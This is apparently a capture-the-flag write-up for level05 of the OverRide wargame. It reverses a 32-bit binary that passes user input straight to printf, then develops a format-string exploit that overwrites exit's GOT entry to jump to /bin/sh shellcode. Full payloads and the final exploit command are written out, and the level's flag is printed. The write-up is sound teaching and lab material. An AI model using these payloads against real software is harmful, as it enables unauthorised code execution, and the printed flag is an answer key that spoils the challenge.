LEVEL05:

```
level05@OverRide:~$ echo -en 'coucoucoucouccccccccccccccccccccccccccccccccc
ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccclllllllllllllllllllllllllllll' | ./level05
coucoucoucouccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
ccccccccccccccccccc
level05@OverRide:~$ ./level05
coucoulol
coucoulol
level05@OverRide:~$
```

We can see that the program reads on stdin once before printing what we wrote with a maximum size.

```
level05@OverRide:~$ readelf -h level05
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
```

We can observe that the binary is in 32bits

Reverse:

Strings:

```
➜  ex05 strings ../Debug_files/level05
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
exit
stdin
printf
fgets
__libc_start_main
GLIBC_2.0
PTRh
QVhD
<@~2
UWVS
[^_]
;*2$"
GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
.symtab
.strtab
```

Only exit, stdin, printf, and fgets are used.

Objdump -d:

```
08048444 <main>:
 8048444:       55                      push   %ebp
 8048445:       89 e5                   mov    %esp,%ebp
 8048447:       57                      push   %edi
 8048448:       53                      push   %ebx
 8048449:       83 e4 f0                and    $0xfffffff0,%esp
 804844c:       81 ec 90 00 00 00       sub    $0x90,%esp
 8048452:       c7 84 24 8c 00 00 00    movl   $0x0,0x8c(%esp)
 8048459:       00 00 00 00
 804845d:       a1 f0 97 04 08          mov    0x80497f0,%eax
 8048462:       89 44 24 08             mov    %eax,0x8(%esp)
 8048466:       c7 44 24 04 64 00 00    movl   $0x64,0x4(%esp)
 804846d:       00
 804846e:       8d 44 24 28             lea    0x28(%esp),%eax
 8048472:       89 04 24                mov    %eax,(%esp)
 8048475:       e8 d6 fe ff ff          call   8048350 <fgets@plt>
 804847a:       c7 84 24 8c 00 00 00    movl   $0x0,0x8c(%esp)
 8048481:       00 00 00 00
 8048485:       eb 4c                   jmp    80484d3 <main+0x8f>
 8048487:       8d 44 24 28             lea    0x28(%esp),%eax
 804848b:       03 84 24 8c 00 00 00    add    0x8c(%esp),%eax
```

```
8048492:       0f b6 00                movzbl (%eax),%eax
8048495:       3c 40                   cmp    $0x40,%al
8048497:       7e 32                   jle    80484cb <main+0x87>
8048499:       8d 44 24 28             lea    0x28(%esp),%eax
804849d:       03 84 24 8c 00 00 00    add    0x8c(%esp),%eax
80484a4:       0f b6 00                movzbl (%eax),%eax
80484a7:       3c 5a                   cmp    $0x5a,%al
80484a9:       7f 20                   jg     80484cb <main+0x87>
80484ab:       8d 44 24 28             lea    0x28(%esp),%eax
80484af:       03 84 24 8c 00 00 00    add    0x8c(%esp),%eax
80484b6:       0f b6 00                movzbl (%eax),%eax
80484b9:       89 c2                   mov    %eax,%edx
80484bb:       83 f2 20                xor    $0x20,%edx
80484be:       8d 44 24 28             lea    0x28(%esp),%eax
80484c2:       03 84 24 8c 00 00 00    add    0x8c(%esp),%eax
80484c9:       88 10                   mov    %dl,(%eax)
80484cb:       83 84 24 8c 00 00 00    addl   $0x1,0x8c(%esp)
80484d2:       01
80484d3:       8b 9c 24 8c 00 00 00    mov    0x8c(%esp),%ebx
80484da:       8d 44 24 28             lea    0x28(%esp),%eax
80484de:       c7 44 24 1c ff ff ff    movl   $0xffffffff,0x1c(%esp)
80484e5:       ff
80484e6:       89 c2                   mov    %eax,%edx
80484e8:       b8 00 00 00 00          mov    $0x0,%eax
80484ed:       8b 4c 24 1c             mov    0x1c(%esp),%ecx
80484f1:       89 d7                   mov    %edx,%edi
80484f3:       f2 ae                   repnz scas %es:(%edi),%al
80484f5:       89 c8                   mov    %ecx,%eax
```

```
80484f7:       f7 d0                   not    %eax
80484f9:       83 e8 01                sub    $0x1,%eax
80484fc:       39 c3                   cmp    %eax,%ebx
80484fe:       72 87                   jb     8048487 <main+0x43>
8048500:       8d 44 24 28             lea    0x28(%esp),%eax
8048504:       89 04 24                mov    %eax,(%esp)
8048507:       e8 34 fe ff ff          call   8048340 <printf@plt>
804850c:       c7 04 24 00 00 00 00    movl   $0x0,(%esp)
8048513:       e8 58 fe ff ff          call   8048370 <exit@plt>
8048518:       90                      nop
8048519:       90                      nop
804851a:       90                      nop
```

Reversed source:

```c
#include <stdio.h>
#include <stdlib.h>

__attribute__((force_align_arg_pointer)) void main()
{
// ebp = 0xffffd708
    char pushed_reg[0x8];   // 0xffffd700
    int i = 0;              // 0xffffd6fc
    char s0[0x6c];          // 0xffffd698
    int j;                  // 0xffffd694
    int k;                  // 0xffffd690
    int len = 0;            // 0xffffd68c
    char s2[0x1c];          // 0xffffd670

    fgets(s0, 0x64, stdin);
    i = 0;
    while (s0[len])
        len++;
    while (i < len)
    {
        if (s0[i] >= 0x41 && s0[i] <= 0x59)
            s0[i] = s0[i] ^ 0x20;
        i++;
    }
    printf(s0);
    exit(0);
}
```

We can overwrite the address of exit (in libc.so) that is stored in the .got.plt, by the address of system(), using printf exploit.
But how can I modify the stack before the call to exit.
Or rather than doing a ret to libc, I replace the exit address by the one that will contain a shellcode, provided by fgets();
The stack is executable:

```
GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
```

I can write in stdin:

3 * 4 = 12 5 5 4 5 7 5 = 31 + 1 ==0x2c + 0xffffd698 == 0xffffd6c4

target addresses (exit .got.plt) * 3 + %208c + %10$n

+ %62c + %11$n + %65321c + %12$n   + '\0' + shellcode

And of course I need to check my string and for each octet which the value is between ***0x41*** and ***0x59*** included must be XOR with 0x20, because it will be before the printf call. Let's write a program for that.

First, the target addresses are : 0x080497e0, 0x080497e1, 0x080497e2

'\xe0\x97\x04\x08\xe1\x97\x04\x08\xe2\x97\x04\x08' + '%184c%10$n%18c%11$n%65321c%12$n' + '\x0' + Shellcode

Shellcode =
''|x31|xc0|x50|x68|x2f|x2f|x73|x68|x68|x2f|x62|x69|x6e|x89|xe3|x89|xc1|x89|xc2|xb0|x0b|xcd|x80|x31|xc0|x40|xcd|x80'
XOR 0x20 =
''|x31|xc0|x70|x68|x2f|x2f|x73|x68|x68|x2f|x62|x69|x6e|x89|xe3|x89|xc1|x89|xc2|xb0|x0b|xcd|x80|x31|xc0|x40|xcd|x80'

The '\0' will stop the loop so it won't XOR the shellcode with 0x20

```
level05@OverRide:~$ (echo -en '\xe0\x97\x04\x08\xe1\x97\x04\x08\xe2\x97\x04\x08%184c%10$n%18c%11$n%6
5321c%12$n\x00\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\x
cd\x80\x31\xc0\x40\xcd\x80' ; cat -) | ./level05
pwd

                                                                                   d
```

```
pwd
Segmentation fault (core dumped)
```

Let's try another shellcode:
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x

0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42

...

Another method is to write the shellcode on the stack but in an environnement variable (I guess in an argument it would be the same).
The destination address: 0xffffdfbf
the target addresses are still: 0x080497e0, 0x080497e1, 0x080497e2

x y z = 192 12 65319

'\xe0\x97\x04\x08\xe1\x97\x04\x08\xe2\x97\x04\x08%192c%10$n%12c%11$n%65319c%12$n\x00'
to store in env var
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80

The address of my environnement variable: *0xffffdfbf*
Value to write: **dfbf - 8** & **ffff - dfbd**
'\xe0\x97\x04\x08\xe2\x97\x04\x08%57271c%10$n%8256c%11$n'

That is weird, but I think for alignement problem, or to be sure to find the correct, address, we need to execute at least 8 (nop) before the beggining of the shellcode otherwise it segfault. Weird.
Maybe I should try the same method by passing the shellcode by argument. (It doesn't work, I don't know why)

```
level05@OverRide:~$ (python -c 'print "\xe0\x97\x04\x08\xe2\x97\x04\x08"+"%57271c%10"+"\x24"+"n%8256c%11"+"\x24"+"n"';cat) | env -i SHELLCODE=$(python -c 'print 8*"\x90"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"')  level05
```

Flag:
h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq